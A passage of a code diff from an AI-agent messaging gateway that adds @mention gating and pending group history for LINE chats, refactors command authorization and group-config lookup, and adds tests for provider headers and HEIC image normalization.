allowForCommands.hasEntries, allowed: senderAllowedForCommands }], - allowTextCommands: true, - hasControlCommand: hasControlCommand(rawText, cfg), - }); - return { allowed: true, commandAuthorized: commandGate.commandAuthorized }; + return { + allowed: true, + commandAuthorized: resolveLineCommandAuthorized({ + cfg, + event, + senderId, + allow: effectiveGroupAllow, + }), + }; } if (dmPolicy === "disabled") { @@ -386,17 +393,43 @@ async function shouldProcessLineEvent( return denied; } - const allowForCommands = effectiveDmAllow; - const senderAllowedForCommands = isSenderAllowed({ allow: allowForCommands, senderId }); - const useAccessGroups = cfg.commands?.useAccessGroups !== false; - const rawText = resolveEventRawText(event); - const commandGate = resolveControlCommandGate({ - useAccessGroups, - authorizers: [{ configured: allowForCommands.hasEntries, allowed: senderAllowedForCommands }], - allowTextCommands: true, - hasControlCommand: hasControlCommand(rawText, cfg), - }); - return { allowed: true, commandAuthorized: commandGate.commandAuthorized }; + return { + allowed: true, + commandAuthorized: resolveLineCommandAuthorized({ + cfg, + event, + senderId, + allow: effectiveDmAllow, + }), + }; +} + +/** Extract the mentionees array from a LINE text message (SDK types omit it). + * LINE webhook payloads include `mention.mentionees` on text messages with + * `isSelf: true` for the bot and `type: "all"` for @All mentions. + * The `@line/bot-sdk` types don't expose these fields, so we use a type assertion. + */ +function getLineMentionees( + message: MessageEvent["message"], +): Array<{ type?: string; isSelf?: boolean }> { + if (message.type !== "text") { + return []; + } + const mentionees = ( + message as Record & { + mention?: { mentionees?: Array<{ type?: string; isSelf?: boolean }> }; + } + ).mention?.mentionees; + return Array.isArray(mentionees) ? mentionees : []; +} + +function isLineBotMentioned(message: MessageEvent["message"]): boolean { + return getLineMentionees(message).some((m) => m.isSelf === true || m.type === "all"); +} + +/** True when *any* @mention exists (bot or other users). */ +function hasAnyLineMention(message: MessageEvent["message"]): boolean { + return getLineMentionees(message).length > 0; } function resolveEventRawText(event: MessageEvent | PostbackEvent): string { @@ -413,6 +446,27 @@ function resolveEventRawText(event: MessageEvent | PostbackEvent): string { return ""; } +function resolveLineCommandAuthorized(params: { + cfg: OpenClawConfig; + event: MessageEvent | PostbackEvent; + senderId?: string; + allow: NormalizedAllowFrom; +}): boolean { + const senderAllowedForCommands = isSenderAllowed({ + allow: params.allow, + senderId: params.senderId, + }); + const useAccessGroups = params.cfg.commands?.useAccessGroups !== false; + const rawText = resolveEventRawText(params.event); + const commandGate = resolveControlCommandGate({ + useAccessGroups, + authorizers: [{ configured: params.allow.hasEntries, allowed: senderAllowedForCommands }], + allowTextCommands: true, + hasControlCommand: hasControlCommand(rawText, params.cfg), + }); + return commandGate.commandAuthorized; +} + async function handleMessageEvent(event: MessageEvent, context: LineHandlerContext): Promise { const { cfg, account, runtime, mediaMaxBytes, processMessage } = context; const message = event.message; @@ -422,6 +476,62 @@ async function handleMessageEvent(event: MessageEvent, context: LineHandlerConte return; } + // Mention gating: skip group messages that don't @mention the bot when required. + // Default requireMention to true (consistent with all other channels) unless + // the group config explicitly sets it to false. + const { isGroup, groupId, roomId } = getLineSourceInfo(event.source); + if (isGroup) { + const groupConfig = resolveLineGroupConfig({ config: account.config, groupId, roomId }); + const requireMention = groupConfig?.requireMention !== false; + const rawText = message.type === "text" ? message.text : ""; + const peerId = groupId ?? roomId ?? event.source.userId ?? "unknown"; + const { agentId } = resolveAgentRoute({ + cfg, + channel: "line", + accountId: account.accountId, + peer: { kind: "group", id: peerId }, + }); + const mentionRegexes = buildMentionRegexes(cfg, agentId); + const wasMentionedByNative = isLineBotMentioned(message); + const wasMentionedByPattern = + message.type === "text" ? matchesMentionPatterns(rawText, mentionRegexes) : false; + const wasMentioned = wasMentionedByNative || wasMentionedByPattern; + const mentionGate = resolveMentionGatingWithBypass({ + isGroup: true, + requireMention, + // Only text messages carry mention metadata; non-text (image/video/etc.) + // cannot be gated on mentions, so we let them through. + canDetectMention: message.type === "text", + wasMentioned, + hasAnyMention: hasAnyLineMention(message), + allowTextCommands: true, + hasControlCommand: hasControlCommand(rawText, cfg), + commandAuthorized: decision.commandAuthorized, + }); + if (mentionGate.shouldSkip) { + logVerbose(`line: skipping group message (requireMention, not mentioned)`); + // Store as pending history so the agent has context when later mentioned. + const historyKey = groupId ?? roomId; + const senderId = + event.source.type === "group" || event.source.type === "room" + ? (event.source.userId ?? "unknown") + : "unknown"; + if (historyKey && context.groupHistories) { + recordPendingHistoryEntryIfEnabled({ + historyMap: context.groupHistories, + historyKey, + limit: context.historyLimit ?? DEFAULT_GROUP_HISTORY_LIMIT, + entry: { + sender: `user:${senderId}`, + body: rawText || `<${message.type}>`, + timestamp: event.timestamp, + }, + }); + } + return; + } + } + // Download media if applicable const allMedia: MediaRef[] = []; @@ -449,6 +559,8 @@ async function handleMessageEvent(event: MessageEvent, context: LineHandlerConte cfg, account, commandAuthorized: decision.commandAuthorized, + groupHistories: context.groupHistories, + historyLimit: context.historyLimit ?? DEFAULT_GROUP_HISTORY_LIMIT, }); if (!messageContext) { @@ -457,6 +569,19 @@ async function handleMessageEvent(event: MessageEvent, context: LineHandlerConte } await processMessage(messageContext); + + // Clear pending history after a handled group turn so stale skipped messages + // don't replay on subsequent mentions ("since last reply" semantics). + if (isGroup && context.groupHistories) { + const historyKey = groupId ?? roomId; + if (historyKey && context.groupHistories.has(historyKey)) { + clearHistoryEntriesIfEnabled({ + historyMap: context.groupHistories, + historyKey, + limit: context.historyLimit ?? DEFAULT_GROUP_HISTORY_LIMIT, + }); + } + } } async function handleFollowEvent(event: FollowEvent, _context: LineHandlerContext): Promise { diff --git a/src/line/bot-message-context.test.ts b/src/line/bot-message-context.test.ts index f6d6583a60b..ab9bfc7188e 100644 --- a/src/line/bot-message-context.test.ts +++ b/src/line/bot-message-context.test.ts @@ -114,6 +114,52 @@ describe("buildLineMessageContext", () => { expect(context?.ctxPayload.To).toBe("line:room:room-1"); }); + it("resolves prefixed-only group config through the inbound message context", async () => { + const event = createMessageEvent({ type: "group", groupId: "group-1", userId: "user-1" }); + + const context = await buildLineMessageContext({ + event, + allMedia: [], + cfg, + account: { + ...account, + config: { + groups: { + "group:group-1": { + systemPrompt: "Use the prefixed group config", + }, + }, + }, + }, + commandAuthorized: true, + }); + + expect(context?.ctxPayload.GroupSystemPrompt).toBe("Use the prefixed group config"); + }); + + it("resolves prefixed-only room config through the inbound message context", async () => { + const event = createMessageEvent({ type: "room", roomId: "room-1", userId: "user-1" }); + + const context = await buildLineMessageContext({ + event, + allMedia: [], + cfg, + account: { + ...account, + config: { + groups: { + "room:room-1": { + systemPrompt: "Use the prefixed room config", + }, + }, + }, + }, + commandAuthorized: true, + }); + + expect(context?.ctxPayload.GroupSystemPrompt).toBe("Use the prefixed room config"); + }); + it("keeps non-text message contexts fail-closed for command auth", async () => { const event = createMessageEvent( { type: "user", userId: "user-audio" }, @@ -176,7 +222,7 @@ describe("buildLineMessageContext", () => { }); it("group peer binding matches raw groupId without prefix (#21907)", async () => { - const groupId = "Cc7e3bece1234567890abcdef"; + const groupId = "Cc7e3bece1234567890abcdef"; // pragma: allowlist secret const bindingCfg: OpenClawConfig = { session: { store: storePath }, agents: { diff --git a/src/line/bot-message-context.ts b/src/line/bot-message-context.ts index 5df06b6b79c..5a872bfaf29 100644 --- a/src/line/bot-message-context.ts +++ b/src/line/bot-message-context.ts @@ -1,5 +1,6 @@ import type { MessageEvent, StickerEventMessage, EventSource, PostbackEvent } from "@line/bot-sdk"; import { formatInboundEnvelope } from "../auto-reply/envelope.js"; +import { type HistoryEntry } from "../auto-reply/reply/history.js"; import { finalizeInboundContext } from "../auto-reply/reply/inbound-context.js"; import { formatLocationText, toLocationContext } from "../channels/location.js"; import { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; @@ -10,6 +11,7 @@ import { recordChannelActivity } from "../infra/channel-activity.js"; import { resolveAgentRoute } from "../routing/resolve-route.js"; import { resolvePinnedMainDmOwnerFromAllowlist } from "../security/dm-policy-shared.js"; import { normalizeAllowFrom } from "./bot-access.js"; +import { resolveLineGroupConfigEntry, resolveLineGroupHistoryKey } from "./group-keys.js"; import type { ResolvedLineAccount, LineGroupConfig } from "./types.js"; interface MediaRef { @@ -23,6 +25,8 @@ interface BuildLineMessageContextParams { cfg: OpenClawConfig; account: ResolvedLineAccount; commandAuthorized: boolean; + groupHistories?: Map; + historyLimit?: number; } export type LineSourceInfo = { @@ -49,11 +53,12 @@ export function getLineSourceInfo(source: EventSource): LineSourceInfo { } function buildPeerId(source: EventSource): string { - if (source.type === "group" && source.groupId) { - return source.groupId; - } - if (source.type === "room" && source.roomId) { - return source.roomId; + const groupKey = resolveLineGroupHistoryKey({ + groupId: source.type === "group" ? source.groupId : undefined, + roomId: source.type === "room" ? source.roomId : undefined, + }); + if (groupKey) { + return groupKey; } if (source.type === "user" && source.userId) { return source.userId; @@ -211,13 +216,10 @@ function resolveLineGroupSystemPrompt( groups: Record | undefined, source: LineSourceInfoWithPeerId, ): string | undefined { - if (!groups) { - return undefined; - } - const entry = - (source.groupId ? (groups[source.groupId] ?? groups[`group:${source.groupId}`]) : undefined) ?? - (source.roomId ? (groups[source.roomId] ?? groups[`room:${source.roomId}`]) : undefined) ?? - groups["*"]; + const entry = resolveLineGroupConfigEntry(groups, { + groupId: source.groupId, + roomId: source.roomId, + }); return entry?.systemPrompt?.trim() || undefined; } @@ -239,6 +241,7 @@ async function finalizeLineInboundContext(params: { }; locationContext?: ReturnType; verboseLog: { kind: "inbound" | "postback"; mediaCount?: number }; + inboundHistory?: Pick[]; }) { const { fromAddress, toAddress, originatingTo } = resolveLineAddresses({ isGroup: params.source.isGroup, @@ -308,6 +311,7 @@ async function finalizeLineInboundContext(params: { GroupSystemPrompt: params.source.isGroup ? resolveLineGroupSystemPrompt(params.account.config.groups, params.source) : undefined, + InboundHistory: params.inboundHistory, }); const pinnedMainDmOwner = !params.source.isGroup @@ -362,7 +366,7 @@ async function finalizeLineInboundContext(params: { } export async function buildLineMessageContext(params: BuildLineMessageContextParams) { - const { event, allMedia, cfg, account, commandAuthorized } = params; + const { event, allMedia, cfg, account, commandAuthorized, groupHistories, historyLimit } = params; const source = event.source; const { userId, groupId, roomId, isGroup, peerId, route } = resolveLineInboundRoute({ @@ -399,6 +403,19 @@ export async function buildLineMessageContext(params: BuildLineMessageContextPar }); } + // Build pending history for group chats: unmentioned messages accumulated in + // groupHistories are passed as InboundHistory so the agent has context about + // the conversation that preceded the mention. + const historyKey = isGroup ? peerId : undefined; + const inboundHistory = + historyKey && groupHistories && (historyLimit ?? 0) > 0 + ? (groupHistories.get(historyKey) ?? []).map((entry) => ({ + sender: entry.sender, + body: entry.body, + timestamp: entry.timestamp, + })) + : undefined; + const { ctxPayload } = await finalizeLineInboundContext({ cfg, account, @@ -420,6 +437,7 @@ export async function buildLineMessageContext(params: BuildLineMessageContextPar }, locationContext, verboseLog: { kind: "inbound", mediaCount: allMedia.length }, + inboundHistory, }); return { diff --git a/src/line/bot.ts b/src/line/bot.ts index c7a6f508035..319054c8343 100644 --- a/src/line/bot.ts +++ b/src/line/bot.ts @@ -1,5 +1,6 @@ import type { WebhookRequestBody } from "@line/bot-sdk"; import type { Request, Response, NextFunction } from "express"; +import { DEFAULT_GROUP_HISTORY_LIMIT, type HistoryEntry } from "../auto-reply/reply/history.js"; import type { OpenClawConfig } from "../config/config.js"; import { loadConfig } from "../config/config.js"; import { logVerbose } from "../globals.js"; @@ -42,6 +43,7 @@ export function createLineBot(opts: LineBotOptions): LineBot { logVerbose("line: no message handler configured"); }); const replayCache = createLineWebhookReplayCache(); + const groupHistories = new Map(); const handleWebhook = async (body: WebhookRequestBody): Promise => { if (!body.events || body.events.length === 0) { @@ -55,6 +57,8 @@ export function createLineBot(opts: LineBotOptions): LineBot { mediaMaxBytes, processMessage, replayCache, + groupHistories, + historyLimit: cfg.messages?.groupChat?.historyLimit ?? DEFAULT_GROUP_HISTORY_LIMIT, }); }; diff --git a/src/line/group-keys.test.ts b/src/line/group-keys.test.ts new file mode 100644 index 00000000000..a35f6126b4e --- /dev/null +++ b/src/line/group-keys.test.ts @@ -0,0 +1,79 @@ +import { describe, expect, it } from "vitest"; +import { + resolveExactLineGroupConfigKey, + resolveLineGroupConfigEntry, + resolveLineGroupHistoryKey, + resolveLineGroupLookupIds, + resolveLineGroupsConfig, +} from "./group-keys.js"; + +describe("resolveLineGroupLookupIds", () => { + it("expands raw ids to both prefixed candidates", () => { + expect(resolveLineGroupLookupIds("abc123")).toEqual(["abc123", "group:abc123", "room:abc123"]); + }); + + it("preserves prefixed ids while also checking the raw id", () => { + expect(resolveLineGroupLookupIds("room:abc123")).toEqual(["abc123", "room:abc123"]); + expect(resolveLineGroupLookupIds("group:abc123")).toEqual(["abc123", "group:abc123"]); + }); +}); + +describe("resolveLineGroupConfigEntry", () => { + it("matches raw, prefixed, and wildcard group config entries", () => { + const groups = { + "group:g1": { requireMention: false }, + "room:r1": { systemPrompt: "Room prompt" }, + "*": { requireMention: true }, + }; + + expect(resolveLineGroupConfigEntry(groups, { groupId: "g1" })).toEqual({ + requireMention: false, + }); + expect(resolveLineGroupConfigEntry(groups, { roomId: "r1" })).toEqual({ + systemPrompt: "Room prompt", + }); + expect(resolveLineGroupConfigEntry(groups, { groupId: "missing" })).toEqual({ + requireMention: true, + }); + }); +}); + +describe("resolveLineGroupHistoryKey", () => { + it("uses the raw group or room id as the shared LINE peer key", () => { + expect(resolveLineGroupHistoryKey({ groupId: "g1" })).toBe("g1"); + expect(resolveLineGroupHistoryKey({ roomId: "r1" })).toBe("r1"); + expect(resolveLineGroupHistoryKey({})).toBeUndefined(); + }); +}); + +describe("account-scoped LINE groups", () => { + it("resolves the effective account-scoped groups map", () => { + const cfg = { + channels: { + line: { + groups: { + "*": { requireMention: true }, + }, + accounts: { + work: { + groups: { + "group:g1": { requireMention: false }, + }, + }, + }, + }, + }, + // oxlint-disable-next-line typescript/no-explicit-any + } as any; + + expect(resolveLineGroupsConfig(cfg, "work")).toEqual({ + "group:g1": { requireMention: false }, + }); + expect(resolveExactLineGroupConfigKey({ cfg, accountId: "work", groupId: "g1" })).toBe( + "group:g1", + ); + expect(resolveExactLineGroupConfigKey({ cfg, accountId: "default", groupId: "g1" })).toBe( + undefined, + ); + }); +}); diff --git a/src/line/group-keys.ts b/src/line/group-keys.ts new file mode 100644 index 00000000000..c3f49b9244d --- /dev/null +++ b/src/line/group-keys.ts @@ -0,0 +1,72 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { normalizeAccountId } from "../routing/account-id.js"; +import { resolveAccountEntry } from "../routing/account-lookup.js"; +import type { LineConfig, LineGroupConfig } from "./types.js"; + +export function resolveLineGroupLookupIds(groupId?: string | null): string[] { + const normalized = groupId?.trim(); + if (!normalized) { + return []; + } + if (normalized.startsWith("group:") || normalized.startsWith("room:")) { + const rawId = normalized.split(":").slice(1).join(":"); + return rawId ? [rawId, normalized] : [normalized]; + } + return [normalized, `group:${normalized}`, `room:${normalized}`]; +} + +export function resolveLineGroupConfigEntry( + groups: Record | undefined, + params: { groupId?: string | null; roomId?: string | null }, +): T | undefined { + if (!groups) { + return undefined; + } + for (const candidate of resolveLineGroupLookupIds(params.groupId)) { + const hit = groups[candidate]; + if (hit) { + return hit; + } + } + for (const candidate of resolveLineGroupLookupIds(params.roomId)) { + const hit = groups[candidate]; + if (hit) { + return hit; + } + } + return groups["*"]; +} + +export function resolveLineGroupsConfig( + cfg: OpenClawConfig, + accountId?: string | null, +): Record | undefined { + const lineConfig = cfg.channels?.line as LineConfig | undefined; + if (!lineConfig) { + return undefined; + } + const normalizedAccountId = normalizeAccountId(accountId); + const accountGroups = resolveAccountEntry(lineConfig.accounts, normalizedAccountId)?.groups; + return accountGroups ?? lineConfig.groups; +} + +export function resolveExactLineGroupConfigKey(params: { + cfg: OpenClawConfig; + accountId?: string | null; + groupId?: string | null; +}): string | undefined { + const groups = resolveLineGroupsConfig(params.cfg, params.accountId); + if (!groups) { + return undefined; + } + return resolveLineGroupLookupIds(params.groupId).find((candidate) => + Object.hasOwn(groups, candidate), + ); +} + +export function resolveLineGroupHistoryKey(params: { + groupId?: string | null; + roomId?: string | null; +}): string | undefined { + return params.groupId?.trim() || params.roomId?.trim() || undefined; +} diff --git a/src/line/monitor.lifecycle.test.ts b/src/line/monitor.lifecycle.test.ts index eafd330b79e..d1ad3194096 100644 --- a/src/line/monitor.lifecycle.test.ts +++ b/src/line/monitor.lifecycle.test.ts @@ -88,7 +88,7 @@ describe("monitorLineProvider lifecycle", () => { const task = monitorLineProvider({ channelAccessToken: "token", - channelSecret: "secret", + channelSecret: "secret", // pragma: allowlist secret config: {} as OpenClawConfig, runtime: {} as RuntimeEnv, abortSignal: abort.signal, @@ -115,7 +115,7 @@ describe("monitorLineProvider lifecycle", () => { await monitorLineProvider({ channelAccessToken: "token", - channelSecret: "secret", + channelSecret: "secret", // pragma: allowlist secret config: {} as OpenClawConfig, runtime: {} as RuntimeEnv, abortSignal: abort.signal, @@ -129,7 +129,7 @@ describe("monitorLineProvider lifecycle", () => { const monitor = await monitorLineProvider({ channelAccessToken: "token", - channelSecret: "secret", + channelSecret: "secret", // pragma: allowlist secret config: {} as OpenClawConfig, runtime: {} as RuntimeEnv, }); diff --git a/src/markdown/fences.ts b/src/markdown/fences.ts index d3cbbced1c6..282b6ecc296 100644 --- a/src/markdown/fences.ts +++ b/src/markdown/fences.ts @@ -73,7 +73,27 @@ export function parseFenceSpans(buffer: string): FenceSpan[] { } export function findFenceSpanAt(spans: FenceSpan[], index: number): FenceSpan | undefined { - return spans.find((span) => index > span.start && index < span.end); + let low = 0; + let high = spans.length - 1; + + while (low <= high) { + const mid = Math.floor((low + high) / 2); + const span = spans[mid]; + if (!span) { + break; + } + if (index <= span.start) { + high = mid - 1; + continue; + } + if (index >= span.end) { + low = mid + 1; + continue; + } + return span; + } + + return undefined; } export function isSafeFenceBreak(spans: FenceSpan[], index: number): boolean { diff --git a/src/media-understanding/apply.echo-transcript.test.ts b/src/media-understanding/apply.echo-transcript.test.ts index 5e027f90541..ae62d294989 100644 --- a/src/media-understanding/apply.echo-transcript.test.ts +++ b/src/media-understanding/apply.echo-transcript.test.ts @@ -12,7 +12,7 @@ import { createSafeAudioFixtureBuffer } from "./runner.test-utils.js"; vi.mock("../agents/model-auth.js", () => ({ resolveApiKeyForProvider: vi.fn(async () => ({ - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret source: "test", mode: "api-key", })), diff --git a/src/media-understanding/apply.test.ts b/src/media-understanding/apply.test.ts index f49bd859e31..10e5da610cc 100644 --- a/src/media-understanding/apply.test.ts +++ b/src/media-understanding/apply.test.ts @@ -14,7 +14,7 @@ import { createSafeAudioFixtureBuffer } from "./runner.test-utils.js"; vi.mock("../agents/model-auth.js", () => ({ resolveApiKeyForProvider: vi.fn(async () => ({ - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret source: "test", mode: "api-key", })), @@ -243,7 +243,7 @@ describe("applyMediaUnderstanding", () => { beforeEach(() => { mockedResolveApiKey.mockReset(); mockedResolveApiKey.mockResolvedValue({ - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret source: "test", mode: "api-key", }); diff --git a/src/media-understanding/providers/mistral/index.test.ts b/src/media-understanding/providers/mistral/index.test.ts index 44af01ff0ad..b368e516667 100644 --- a/src/media-understanding/providers/mistral/index.test.ts +++ b/src/media-understanding/providers/mistral/index.test.ts @@ -20,7 +20,7 @@ describe("mistralProvider", () => { const result = await mistralProvider.transcribeAudio!({ buffer: Buffer.from("audio-bytes"), fileName: "voice.ogg", - apiKey: "test-mistral-key", + apiKey: "test-mistral-key", // pragma: allowlist secret timeoutMs: 5000, fetchFn, }); @@ -35,7 +35,7 @@ describe("mistralProvider", () => { await mistralProvider.transcribeAudio!({ buffer: Buffer.from("audio"), fileName: "note.mp3", - apiKey: "key", + apiKey: "key", // pragma: allowlist secret timeoutMs: 1000, baseUrl: "https://custom.mistral.example/v1", fetchFn, diff --git a/src/media-understanding/providers/moonshot/video.test.ts b/src/media-understanding/providers/moonshot/video.test.ts index eba98042884..f6ffb1ca957 100644 --- a/src/media-understanding/providers/moonshot/video.test.ts +++ b/src/media-understanding/providers/moonshot/video.test.ts @@ -16,7 +16,7 @@ describe("describeMoonshotVideo", () => { const result = await describeMoonshotVideo({ buffer: Buffer.from("video-bytes"), fileName: "clip.mp4", - apiKey: "moonshot-test", + apiKey: "moonshot-test", // pragma: allowlist secret timeoutMs: 1500, baseUrl: "https://api.moonshot.ai/v1/", model: "kimi-k2.5", @@ -61,7 +61,7 @@ describe("describeMoonshotVideo", () => { const result = await describeMoonshotVideo({ buffer: Buffer.from("video"), fileName: "clip.mp4", - apiKey: "moonshot-test", + apiKey: "moonshot-test", // pragma: allowlist secret timeoutMs: 1000, fetchFn, }); diff --git a/src/media-understanding/runner.auto-audio.test.ts b/src/media-understanding/runner.auto-audio.test.ts index 975f1438b46..b2e282f3666 100644 --- a/src/media-understanding/runner.auto-audio.test.ts +++ b/src/media-understanding/runner.auto-audio.test.ts @@ -120,7 +120,7 @@ describe("runCapability auto audio entries", () => { delete process.env.GROQ_API_KEY; delete process.env.DEEPGRAM_API_KEY; delete process.env.GEMINI_API_KEY; - process.env.MISTRAL_API_KEY = "mistral-test-key"; + process.env.MISTRAL_API_KEY = "mistral-test-key"; // pragma: allowlist secret let runResult: Awaited> | undefined; try { await withAudioFixture("openclaw-auto-audio-mistral", async ({ ctx, media, cache }) => { @@ -140,7 +140,7 @@ describe("runCapability auto audio entries", () => { models: { providers: { mistral: { - apiKey: "mistral-test-key", + apiKey: "mistral-test-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/media-understanding/runner.deepgram.test.ts b/src/media-understanding/runner.deepgram.test.ts index 38df19b7432..253c8d6eefa 100644 --- a/src/media-understanding/runner.deepgram.test.ts +++ b/src/media-understanding/runner.deepgram.test.ts @@ -29,7 +29,10 @@ describe("runCapability deepgram provider options", () => { deepgram: { baseUrl: "https://provider.example", apiKey: "test-key", - headers: { "X-Provider": "1" }, + headers: { + "X-Provider": "1", + "X-Provider-Managed": "secretref-managed", + }, models: [], }, }, @@ -39,7 +42,10 @@ describe("runCapability deepgram provider options", () => { audio: { enabled: true, baseUrl: "https://config.example", - headers: { "X-Config": "2" }, + headers: { + "X-Config": "2", + "X-Config-Managed": "secretref-env:DEEPGRAM_HEADER_TOKEN", + }, providerOptions: { deepgram: { detect_language: true, @@ -52,7 +58,10 @@ describe("runCapability deepgram provider options", () => { provider: "deepgram", model: "nova-3", baseUrl: "https://entry.example", - headers: { "X-Entry": "3" }, + headers: { + "X-Entry": "3", + "X-Entry-Managed": "secretref-managed", + }, providerOptions: { deepgram: { detectLanguage: false, @@ -79,8 +88,11 @@ describe("runCapability deepgram provider options", () => { expect(seenBaseUrl).toBe("https://entry.example"); expect(seenHeaders).toMatchObject({ "X-Provider": "1", + "X-Provider-Managed": "secretref-managed", "X-Config": "2", + "X-Config-Managed": "secretref-env:DEEPGRAM_HEADER_TOKEN", "X-Entry": "3", + "X-Entry-Managed": "secretref-managed", }); expect(seenQuery).toMatchObject({ detect_language: false, diff --git a/src/media-understanding/runner.entries.ts b/src/media-understanding/runner.entries.ts index 8423ece464d..cdd9468c4a7 100644 --- a/src/media-understanding/runner.entries.ts +++ b/src/media-understanding/runner.entries.ts @@ -40,6 +40,26 @@ import { estimateBase64Size, resolveVideoMaxBase64Bytes } from "./video.js"; export type ProviderRegistry = Map; +function sanitizeProviderHeaders( + headers: Record | undefined, +): Record | undefined { + if (!headers) { + return undefined; + } + const next: Record = {}; + for (const [key, value] of Object.entries(headers)) { + if (typeof value !== "string") { + continue; + } + // Intentionally preserve marker-shaped values here. This path handles + // explicit config/runtime provider headers, where literal values may + // legitimately match marker patterns; discovered models.json entries are + // sanitized separately in the model registry path. + next[key] = value; + } + return Object.keys(next).length > 0 ? next : undefined; +} + function trimOutput(text: string, maxChars?: number): string { const trimmed = text.trim(); if (!maxChars || trimmed.length <= maxChars) { @@ -352,9 +372,9 @@ async function resolveProviderExecutionContext(params: { }); const baseUrl = params.entry.baseUrl ?? params.config?.baseUrl ?? providerConfig?.baseUrl; const mergedHeaders = { - ...providerConfig?.headers, - ...params.config?.headers, - ...params.entry.headers, + ...sanitizeProviderHeaders(providerConfig?.headers as Record | undefined), + ...sanitizeProviderHeaders(params.config?.headers as Record | undefined), + ...sanitizeProviderHeaders(params.entry.headers as Record | undefined), }; const headers = Object.keys(mergedHeaders).length > 0 ? mergedHeaders : undefined; return { apiKeys, baseUrl, headers }; diff --git a/src/media-understanding/runner.proxy.test.ts b/src/media-understanding/runner.proxy.test.ts index b96f099d3cc..f05ff4a87a1 100644 --- a/src/media-understanding/runner.proxy.test.ts +++ b/src/media-understanding/runner.proxy.test.ts @@ -25,7 +25,7 @@ async function runAudioCapabilityWithFetchCapture(params: { models: { providers: { openai: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret models: [], }, }, @@ -80,7 +80,7 @@ describe("runCapability proxy fetch passthrough", () => { models: { providers: { moonshot: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/media-understanding/runner.skip-tiny-audio.test.ts b/src/media-understanding/runner.skip-tiny-audio.test.ts index 6447e2b1dbf..a4021fb52a8 100644 --- a/src/media-understanding/runner.skip-tiny-audio.test.ts +++ b/src/media-understanding/runner.skip-tiny-audio.test.ts @@ -52,7 +52,7 @@ const AUDIO_CAPABILITY_CFG = { models: { providers: { openai: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/media-understanding/runner.video.test.ts b/src/media-understanding/runner.video.test.ts index 6991cf1a4ac..90eab226cea 100644 --- a/src/media-understanding/runner.video.test.ts +++ b/src/media-understanding/runner.video.test.ts @@ -14,7 +14,7 @@ describe("runCapability video provider wiring", () => { models: { providers: { moonshot: { - apiKey: "provider-key", + apiKey: "provider-key", // pragma: allowlist secret baseUrl: "https://provider.example/v1", headers: { "X-Provider": "1" }, models: [], @@ -85,7 +85,7 @@ describe("runCapability video provider wiring", () => { models: { providers: { moonshot: { - apiKey: "moonshot-key", + apiKey: "moonshot-key", // pragma: allowlist secret models: [], }, }, diff --git a/src/media/input-files.fetch-guard.test.ts b/src/media/input-files.fetch-guard.test.ts index 64f8377bcfd..377bbf78fa9 100644 --- a/src/media/input-files.fetch-guard.test.ts +++ b/src/media/input-files.fetch-guard.test.ts @@ -1,11 +1,21 @@ -import { beforeAll, describe, expect, it, vi } from "vitest"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; const fetchWithSsrFGuardMock = vi.fn(); +const convertHeicToJpegMock = vi.fn(); +const detectMimeMock = vi.fn(); vi.mock("../infra/net/fetch-guard.js", () => ({ fetchWithSsrFGuard: (...args: unknown[]) => fetchWithSsrFGuardMock(...args), })); +vi.mock("./image-ops.js", () => ({ + convertHeicToJpeg: (...args: unknown[]) => convertHeicToJpegMock(...args), +})); + +vi.mock("./mime.js", () => ({ + detectMime: (...args: unknown[]) => detectMimeMock(...args), +})); + async function waitForMicrotaskTurn(): Promise { await new Promise((resolve) => queueMicrotask(resolve)); } @@ -19,6 +29,157 @@ beforeAll(async () => { await import("./input-files.js")); }); +beforeEach(() => { + vi.clearAllMocks(); +}); + +describe("HEIC input image normalization", () => { + it("converts base64 HEIC images to JPEG before returning them", async () => { + const normalized = Buffer.from("jpeg-normalized"); + detectMimeMock.mockResolvedValueOnce("image/heic"); + convertHeicToJpegMock.mockResolvedValueOnce(normalized); + + const image = await extractImageContentFromSource( + { + type: "base64", + data: Buffer.from("heic-source").toString("base64"), + mediaType: "image/heic", + }, + { + allowUrl: false, + allowedMimes: new Set(["image/heic", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1, + }, + ); + + expect(convertHeicToJpegMock).toHaveBeenCalledTimes(1); + expect(image).toEqual({ + type: "image", + data: normalized.toString("base64"), + mimeType: "image/jpeg", + }); + }); + + it("converts URL HEIC images to JPEG before returning them", async () => { + const release = vi.fn(async () => {}); + fetchWithSsrFGuardMock.mockResolvedValueOnce({ + response: new Response(Buffer.from("heic-url-source"), { + status: 200, + headers: { "content-type": "image/heic" }, + }), + release, + finalUrl: "https://example.com/photo.heic", + }); + const normalized = Buffer.from("jpeg-url-normalized"); + detectMimeMock.mockResolvedValueOnce("image/heic"); + convertHeicToJpegMock.mockResolvedValueOnce(normalized); + + const image = await extractImageContentFromSource( + { + type: "url", + url: "https://example.com/photo.heic", + }, + { + allowUrl: true, + allowedMimes: new Set(["image/heic", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1000, + }, + ); + + expect(convertHeicToJpegMock).toHaveBeenCalledTimes(1); + expect(image).toEqual({ + type: "image", + data: normalized.toString("base64"), + mimeType: "image/jpeg", + }); + expect(release).toHaveBeenCalledTimes(1); + }); + + it("keeps declared MIME for non-HEIC images after validation", async () => { + detectMimeMock.mockResolvedValueOnce("image/png"); + + const image = await extractImageContentFromSource( + { + type: "base64", + data: Buffer.from("png-like").toString("base64"), + mediaType: "image/png", + }, + { + allowUrl: false, + allowedMimes: new Set(["image/png"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1, + }, + ); + + expect(detectMimeMock).toHaveBeenCalledTimes(1); + expect(convertHeicToJpegMock).not.toHaveBeenCalled(); + expect(image).toEqual({ + type: "image", + data: Buffer.from("png-like").toString("base64"), + mimeType: "image/png", + }); + }); + + it("rejects spoofed base64 images when detected bytes are not an image", async () => { + detectMimeMock.mockResolvedValueOnce("application/pdf"); + + await expect( + extractImageContentFromSource( + { + type: "base64", + data: 